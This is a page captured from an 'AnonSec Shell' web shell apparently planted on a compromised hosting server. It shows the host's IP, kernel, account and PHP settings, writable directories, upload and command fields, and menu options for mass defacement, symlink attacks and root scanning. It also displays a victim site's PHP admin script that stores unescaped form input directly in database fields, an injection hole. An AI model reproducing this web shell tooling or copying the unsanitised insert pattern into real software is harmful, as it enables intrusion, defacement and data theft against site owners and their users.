AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/wallpaper/backend/wallpaper_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/wallpaper/backend/wallpaper_old/add_save.php
<?php require_once("../include/class.php");?>
<?php include("table_name.php");?>

<?php

/*
echo "<pre>";
print_r($_POST);
echo "</pre>";
echo "<pre>";
print_r($_FILES);
echo "</pre>";
echo "<pre>";
print_r($_SESSION);
echo "</pre>";

exit();
*/
 ?>
<?php
$date = date("Y-m-d H:i:s");
$text_detail = $_POST['typefontfamily_th'].','.$_POST['typefontsize_th'].','.$_POST['typelength_th'].','.$_POST['typefontfamily_en'].','.$_POST['typefontsize_en'].','.$_POST['typelength_en'];
$text_radom1 = $_POST['typeset1_x'].','.$_POST['typeset1_y'].','.$_POST['typefontfamilyrandom_1_en'].','.$_POST['typefontsizerandom_1'].','.$_POST['typelengthrandom_1'].','.$_POST['typerandom_1'];
$text_radom2 = $_POST['typeset2_x'].','.$_POST['typeset2_y'].','.$_POST['typefontfamilyrandom_2_en'].','.$_POST['typefontsizerandom_2'].','.$_POST['typelengthrandom_2'].','.$_POST['typerandom_2'];
$text_radom3 = $_POST['typeset3_x'].','.$_POST['typeset3_y'].','.$_POST['typefontfamilyrandom_3_en'].','.$_POST['typefontsizerandom_3'].','.$_POST['typelengthrandom_3'].','.$_POST['typerandom_3'];
$text_radom4 = $_POST['typeset4_x'].','.$_POST['typeset4_y'].','.$_POST['typefontfamilyrandom_4_en'].','.$_POST['typefontsizerandom_4'].','.$_POST['typelengthrandom_4'].','.$_POST['typerandom_4'];
$text_radom5 = $_POST['typeset5_x'].','.$_POST['typeset5_y'].','.$_POST['typefontfamilyrandom_5_en'].','.$_POST['typefontsizerandom_5'].','.$_POST['typelengthrandom_5'].','.$_POST['typerandom_5'];
$text_radom = $_POST['typeset_x'].','.$_POST['typeset_y'].','.$_POST['typefontfamilyrandom'].','.$_POST['typefontsizerandom'].','.$_POST['typelengthrandom'].','.$_POST['typenumberrandom'];

//exit();

if($_FILES["icon1"]["error"] == 0)
{
	$name_icon1 = $image_class->image_re($_FILES["icon1"],$name_folder,$wide_img,$upload);
}

if($_FILES["icon2"]["error"] == 0)
{
	$name_icon2 = $image_class->image_re($_FILES["icon2"],$name_folder,$wide_img,$upload);
}

if($_FILES["icon3"]["error"] == 0)
{
	$name_icon3 = $image_class->image_re($_FILES["icon3"],$name_folder,$wide_img,$upload);
}

if($_FILES["icon4"]["error"] == 0)
{
	$name_icon4 = $image_class->image_re($_FILES["icon4"],$name_folder,$wide_img,$upload);
}
$icon_1 = $_POST['typesetimage1_x'].','.$_POST['typesetimage1_y'].','.$name_icon1.',,,'.$_POST['typerandomimage_1'];
$icon_2 = $_POST['typesetimage2_x'].','.$_POST['typesetimage2_y'].','.$name_icon2.',,,'.$_POST['typerandomimage_2'];
$icon_3 = $_POST['typesetimage3_x'].','.$_POST['typesetimage3_y'].','.$name_icon3.',,,'.$_POST['typerandomimage_3'];
$icon_4 = $_POST['typesetimage4_x'].','.$_POST['typesetimage4_y'].','.$name_icon4.',,,'.$_POST['typerandomimage_4'];


$title2 ='';
for ($t2=0; $t2 < count($_POST['t2']) ; $t2++) {
  if($title2==''){
    $title2 = $_POST['t2'][$t2];
  }else{
    $title2 = $title2.','.$_POST['t2'][$t2];
  }
}
if($_FILES["img"]["error"] == 0)
{
	$name_img = $image_class->image_re($_FILES["img"],$name_folder,$wide_img,$upload);
}
if($_FILES["img2"]["error"] == 0)
{
	$name_img2 = $image_class->image_re($_FILES["img2"],$name_folder,$wide_img,$upload);
}
if($_FILES["img3"]["error"] == 0)
{
	$name_img3 = $image_class->image_re($_FILES["img3"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg1"]["error"] == 0)
{
	$name_bg1 = $image_class->image_re($_FILES["bg1"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg2"]["error"] == 0)
{
	$name_bg2 = $image_class->image_re($_FILES["bg2"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg3"]["error"] == 0)
{
	$name_bg3 = $image_class->image_re($_FILES["bg3"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg4"]["error"] == 0)
{
	$name_bg4 = $image_class->image_re($_FILES["bg4"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg5"]["error"] == 0)
{
	$name_bg5 = $image_class->image_re($_FILES["bg5"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg6"]["error"] == 0)
{
	$name_bg6 = $image_class->image_re($_FILES["bg6"],$name_folder,$wide_img,$upload);
}
if($_FILES["bg7"]["error"] == 0)
{
	$name_bg7 = $image_class->image_re($_FILES["bg7"],$name_folder,$wide_img,$upload);
}

if($_POST["price"]==''){$_POST["price"]=0;}

$list = array(
			'table'=>$name_table,
			'name'=>"'".@$_POST["title"]."'",
			'name_m'=>"'".@$title2."'",
			'detail'=>"'".@$_POST["detail"]."'",
			'incantation'=>"'".@$_POST["incantation"]."'",
			'image'=>"'".@$name_img."'",
			'image_show'=>"'".@$name_img2."'",
			'image_free'=>"'".@$name_img3."'",
      'price'=>"'".@$_POST["price"]."'",
			'type'=>"'".@$_POST["type"]."'",
			'type_value'=>"'".@$_POST["typevalue"]."'",
			'category'=>"'".@$_POST["typecategory"]."'",
			'zodiac'=>"'".@$_POST["typezodiac"]."'",
			'positionz_1'=>"'".@$_POST["typepositionz1"]."'",
			'positionz_2'=>"'".@$_POST["typepositionz2"]."'",
      'element'=>"'".@$_POST["typeelement"]."'",
      'positione_1'=>"'".@$_POST["typepositione1"]."'",
      'positione_2'=>"'".@$_POST["typepositione2"]."'",
			'date'=>"'".@$_POST["typedate"]."'",
			'date2'=>"'".@$_POST["typedate2"]."'",
			'detail_text'=>"'".@$text_detail."'",
			'detail_random'=>"'".@$text_radom."'",
			'detail_random1'=>"'".@$text_radom1."'",
			'detail_random2'=>"'".@$text_radom2."'",
			'detail_random3'=>"'".@$text_radom3."'",
			'detail_random4'=>"'".@$text_radom4."'",
			'detail_random5'=>"'".@$text_radom5."'",
			'detail_icon1'=>"'".@$icon_1."'",
			'detail_icon2'=>"'".@$icon_2."'",
			'detail_icon3'=>"'".@$icon_3."'",
			'detail_icon4'=>"'".@$icon_4."'",
			'position'=>"'".@$_POST["typeposition"]."'",
			'position2'=>"'".@$_POST["typeposition2"]."'",
			'max_length'=>"'".@$_POST["typelength"]."'",
			'font_site'=>"'".@$_POST["typefontsize"]."'",
			'font_family'=>"'".@$_POST["typefontfamily"]."'",
			'font_color'=>@$_POST["colortextrandom_5"],
      'bg_sun'=>"'".@$name_bg1."'",
      'bg_mon'=>"'".@$name_bg2."'",
      'bg_tue'=>"'".@$name_bg3."'",
      'bg_wed'=>"'".@$name_bg4."'",
      'bg_thu'=>"'".@$name_bg5."'",
      'bg_fri'=>"'".@$name_bg6."'",
      'bg_sat'=>"'".@$name_bg7."'",
			'status'=>'1',
			'status2'=>"'".@$_POST["status2"]."'",
			'by_name'=>"'".@$_SESSION["admin_cn_id"]."'",
			'createdate'=>"'".$date."'",
			'up_date'=>"'".$date."'"
		);

		$add = $actiondata_db->add_db($list);

  //  print_r($add);
$sql = array('table'=>$name_table,'count'=>'MAX(id) AS max_id','where'=>"");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
$max_id = $row['max_id'];

 //exit;
	$_SESSION['er'] = 'true';
	if( $add['suc'] <> 1)
	{
		$_SESSION['er'] = 'false';
	}

	if($_SESSION['er'] == 'true')
	{
		$add = $User_db->log_Admin2($_SESSION["admin_cn_id"],$_SESSION["admin_cn_user"],$name_table,'add-'.$max_id);
	}


?>
<meta http-equiv="refresh" content="0;URL=list.php">
<?php
exit;
?>

Anon7 - 2022
AnonSec Team